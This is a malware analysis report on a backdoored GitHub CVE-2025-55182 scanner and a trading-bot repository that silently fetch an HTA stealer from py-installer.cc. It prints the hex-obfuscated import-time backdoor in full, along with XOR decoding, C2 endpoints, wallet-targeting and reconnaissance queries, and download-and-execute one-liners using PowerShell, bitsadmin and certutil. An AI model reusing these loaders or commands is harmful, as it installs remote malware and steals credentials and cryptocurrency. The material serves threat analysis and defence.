React2Shell Scanner Malware Analysis Report
Date: December 9, 2025
Threat Type: Supply Chain Attack / Backdoor / Information Stealer / Cryptocurrency Wallet Stealer
Source Repository: https://github.com/niha0wa/React2shell-scanner/blob/main/react2shell.py.py
Archive (niha0wa): https://web.archive.org/web/20251209081236/https://github.com/niha0wa/React2shell-scanner/blob/main/react2shell.py.py
Archive (drak6y): https://web.archive.org/web/20251209101029/https://github.com/drak6y/Trading-Bot-For-Binance-Future
Executive Summary
A legitimate CVE-2025-55182 (React Server Components RCE) vulnerability scanner has been compromised with a backdoor that automatically downloads and executes a sophisticated HTA (HTML Application) malware from https://py-installer.cc. This malware is a multi-stage dropper/loader that specifically targets cryptocurrency wallets, performs extensive system information gathering, and propagates via malicious shortcuts on removable drives.
1. Source Code Analysis
1.1 Initial Commit Information
The backdoor was introduced in the initial commit of the compromised repository:
Commit Details:
- Commit Hash:
1f3fedd01fea8a535573390bbae48d76a03b8585
- Author: Kumar niharkuamr1122@gmail.com
- Date: Mon, 8 Dec 2025 17:24:09 +0200
- Subject: [PATCH] initial commit
This indicates that the repository was created with the backdoor already present from the first commit, suggesting the entire repository was malicious from its inception rather than being compromised later.
⚠️ Impact Assessment:
niha0wa/React2shell-scanner: 36 stars, 18 forks
drak6y/Trading-Bot-For-Binance-Future: 121 stars, 35 forks
- Total: 157 stars, 53 forks across both repositories
- Critical: Each star and fork represents a potential victim who may have cloned and executed the malicious code
- The high number of stars (especially 121 on the trading bot) indicates significant trust and widespread distribution
Author Investigation:
- No public information found for the email address
niharkuamr1122@gmail.com
- The GitHub username
niha0wa associated with the repository does not appear in public security research or malware analysis reports
- The name "Kumar" is common, making identification difficult without additional context
- The email address and identity are likely pseudonymous or fabricated for the purpose of distributing malware
- This pattern is consistent with threat actors using false identities to avoid attribution
Additional Infected Repositories:
drak6y/Trading-Bot-For-Binance-Future - Contains the exact same backdoor in Logger.py:
- Repository Created: November 24, 2025
- Initial Commit: November 25, 2025 16:17:16 UTC
- Author Email:
35601651+drak6y@users.noreply.github.com (GitHub no-reply email)
- Author Name: "dank"
- ⚠️ Impact: 121 stars and 35 forks - Significant number of potential victims
- Archive.org Links:
- Function:
_setup_environment() (identical functionality to _initialize_runtime_environment(), only function name differs)
- Backdoor Code:
def _setup_environment():
global _initialized
if _initialized:
return
_initialized = True
try:
_h1 = bytes.fromhex('6d73687461') # 'mshta'
_h2 = bytes.fromhex('2e657865') # '.exe'
_h3 = bytes.fromhex('68747470733a2f2f') # 'https://'
_h4 = bytes.fromhex('70792d696e7374616c6c65722e') # 'py-installer.'
_h5 = bytes.fromhex('6363') # 'cc'
_cmd = (_h1 + _h2).decode('utf-8') # 'mshta.exe'
_url = (_h3 + _h4 + _h5).decode('utf-8') # 'https://py-installer.cc'
if os.name == 'nt':
subprocess.Popen([_cmd, _url], shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
except:
pass
- Same hex-encoded strings: Identical encoding pattern as
niha0wa/React2shell-scanner
- Same execution pattern:
subprocess.Popen([cmd, url], shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
- Timeline: The backdoor was present from the initial commit, confirming the repository was created maliciously from the start
- Note: Different email from
niha0wa/React2shell-scanner (niharkuamr1122@gmail.com), but identical backdoor code confirms coordinated distribution campaign by the same threat actor or group
1.2 Backdoor in react2shell.py.py
The compromised scanner contains a malicious function _initialize_runtime_environment() that executes automatically upon import:
def _initialize_runtime_environment():
import subprocess as _sp
_exec_path = bytes.fromhex('6d73687461').decode('utf-8') + bytes.fromhex('2e657865').decode('utf-8')
_remote_endpoint = bytes.fromhex('68747470733a2f2f').decode('utf-8') + bytes.fromhex('70792d696e7374616c6c65722e6363').decode('utf-8')
_runtime_args = [_exec_path, _remote_endpoint]
try:
_sp.Popen(_runtime_args, shell=True, stdout=_sp.DEVNULL, stderr=_sp.DEVNULL, creationflags=0x08000000 if hasattr(_sp, 'CREATE_NO_WINDOW') else 0)
except:
pass
_initialize_runtime_environment()
Decoded Values:
6d73687461 (hex) → mshta (ASCII)
2e657865 (hex) → .exe (ASCII)
68747470733a2f2f (hex) → https:// (ASCII)
70792d696e7374616c6c65722e6363 (hex) → py-installer.cc (ASCII)
Execution Command:
mshta.exe https://py-installer.cc
Stealth Mechanisms:
stdout=_sp.DEVNULL - Suppresses standard output
stderr=_sp.DEVNULL - Suppresses error output
creationflags=0x08000000 (CREATE_NO_WINDOW) - Executes without visible window
- Silent exception handling - No error messages displayed
1.3 Attack Vector
The backdoor is embedded in a legitimate security tool, increasing the likelihood of execution by:
- Security researchers testing CVE-2025-55182
- System administrators scanning for vulnerabilities
- Security teams performing assessments
The scanner appears fully functional, masking the presence of the backdoor.
1.4 Server-Side Filtering
The C2 server py-installer.cc implements User-Agent filtering:
- Blocked: Standard curl/requests (HTTP 400)
- Allowed: MSIE User-Agent (HTTP 200, serves malware)
This prevents automated analysis while allowing legitimate malware execution.
2. HTA Malware Analysis
2.1 Technical Specifications
File Type: HTML Application (HTA)
File Size: 88,686 bytes (~87 KB)
SHA256: 915f6e13af630895c22a85df0359da4e4741dca017e1892d16ecc46b40afbe03
MD5: 635dd3d016c76f5c0329d3fcfd3c2005
VirusTotal: https://www.virustotal.com/gui/file/915f6e13af630895c22a85df0359da4e4741dca017e1892d16ecc46b40afbe03
Obfuscation Method: XOR cipher with key 112
Obfuscation Level: High (all strings encoded)
C2 Server: https://py-installer.cc
C2 Protection: Cloudflare with User-Agent filtering
Certificate: Valid SSL certificate (Google Trust Services, expires Feb 21, 2026)
2.2 Deobfuscation Mechanism
The malware uses a _stateProxy function that decrypts strings on-demand:
var _stateProxy = function () {
var key = 112;
var executeModule = [[2, 21, 17, 3, 31, 30], [26, 7, 4], ...];
return function (index) {
var dataService = executeModule[index];
if (!dataService) return '';
var result = "";
for (var sendWorker = 0; sendWorker < dataService.length; sendWorker++) {
result += String.fromCharCode(dataService[sendWorker] ^ key);
}
return result;
};
}();
Decryption Process:
- Retrieve array at index
i from executeModule
- XOR each byte with key
112
- Convert to character and concatenate
2.3 Decrypted Strings Analysis
Command & Control Infrastructure
Primary C2:
https://py-installer.cc (172.67.219.119, 104.21.53.225)
C2 Endpoints:
connect?hwid= - Initial connection with hardware ID
getModule?name= - Download additional modules
getPsModule@ - PowerShell module download
approveUpdate?id= - Update approval mechanism
checkStatus - Status check endpoint
Communication Protocol:
- Method: HTTP POST
- Authentication: JWT (JSON Web Token) via
Authorization: Bearer header
- Parameters:
hwid, os, av, username, corp, domain, version, key, ledger, wallets, task
System Information Collection
WMI Queries Executed:
SELECT ProcessorId FROM Win32_Processor - CPU identifier
SELECT UUID FROM Win32_ComputerSystemProduct - System UUID
SELECT SerialNumber FROM Win32_DiskDrive - Disk serial numbers
SELECT Model FROM Win32_DiskDrive - Disk model information
SELECT Caption, Version, ProductType FROM Win32_OperatingSystem - OS details
SELECT displayName FROM AntiVirusProduct - Installed antivirus
SELECT PartOfDomain FROM Win32_ComputerSystem - Domain membership
SELECT Domain, PartOfDomain FROM Win32_ComputerSystem - Domain information
SELECT Name FROM Win32_Process - Running processes
Information Collected:
- Hardware identifiers (ProcessorId, UUID, SerialNumber, Model)
- Operating system version and architecture
- Domain membership status
- Installed antivirus products
- Username and computer name
- Environment variables (PROCESSOR_ARCHITECTURE, PROCESSOR_ARCHITEW6432)
Targeted Cryptocurrency Wallets
The malware specifically targets the following wallet applications:
Ledger Live
- Paths:
%ProgramFiles%\Ledger Live, %ProgramFiles(x86)%\Ledger Live, %ProgramFiles%\Programs\ledger-live
- Detection: Searches for Ledger installation directories
Trezor
Atomic Wallet
Exodus
Guarda
KeepKey
BitBox02
Wallet Data Exfiltration:
- Scans for wallet installation directories
- Collects wallet-related information
- Sends wallet detection status to C2 via
&ledger= and &wallets= parameters
Execution Methods
The malware uses multiple methods to download and execute payloads:
PowerShell:
powershell.exe -ep Bypass -nop -Command "irm <URL> | iex"
- Bypasses execution policy
- Downloads and executes in memory
BITS (Background Intelligent Transfer Service):
bitsadmin.exe /transfer "<task>" /download /priority foreground "<URL>" "<path>"
- Uses Windows built-in download service
- Less likely to be blocked by security tools
Certutil:
certutil.exe -urlcache -split -f "<URL>" "<path>"
- Abuses legitimate Windows utility
- Often whitelisted by security tools
MSXML2.XMLHTTP + ADODB.Stream:
Set http = CreateObject("MSXML2.XMLHTTP")
http.Open "GET", url, False
http.Send
Set stm = CreateObject("ADODB.Stream")
stm.Type = 1 'binary
stm.Write http.responseBody
stm.SaveToFile path, 2
- Native Windows COM objects
- No external dependencies
Rundll32:
rundll32 "<dll_path>",<entry_point>
Propagation Mechanism
USB Propagation:
Enumerates removable drives via WMI:
SELECT DeviceID,DriveType FROM Win32_LogicalDisk WHERE DriveType=2
- DriveType 2 = Removable drive